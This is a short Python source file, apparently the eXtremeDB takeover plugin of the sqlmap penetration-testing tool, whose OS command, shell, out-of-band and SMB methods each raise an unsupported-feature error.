from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on eXtremeDB it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osShell(self):
errMsg = "on eXtremeDB it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osPwn(self):
errMsg = "on eXtremeDB it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
def osSmb(self):
errMsg = "on eXtremeDB it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)

Some files were not shown because too many files have changed in this diff Show More